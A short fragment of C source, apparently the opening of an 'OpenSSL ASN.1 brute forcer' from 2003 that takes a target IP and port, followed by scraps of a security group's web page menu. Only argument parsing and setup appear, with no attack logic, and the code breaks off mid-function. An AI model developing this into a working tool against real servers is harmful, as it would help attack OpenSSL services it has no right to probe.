struct sockaddr_in addr;
int s, port = 0, first = 1, len;
char *host = NULL;
unsigned int seed;
struct timeval tv;
printf("OpenSSL ASN.1 brute forcer (Syzop/2003)\n\n");
if (argc != 3) {
fprintf(stderr, "Use: %s [ip] [port]\n", argv[0]);
exit(1);
}
host = argv[1];
port = atoi(argv[2]);
if ((port < 1) || (port > 65535)) {
fprintf(stderr, "Port out of range (%d)\n", port);
exit(1);
}
gettimeofday(&tv, NULL);
seed = (getpid() ^ tv.tv_sec) + (tv.tv_usec * 1000);
printf("seed = %u\n", seed);
srand(seed);
memset(&addr, 0, sizeof(addr));
signal(SIGPIPE, SIG_IGN); /* Ignore SIGPIPE */
|
[HtR]
...:: [HtR] Menu ::...
|
|
[HtR] Security Team |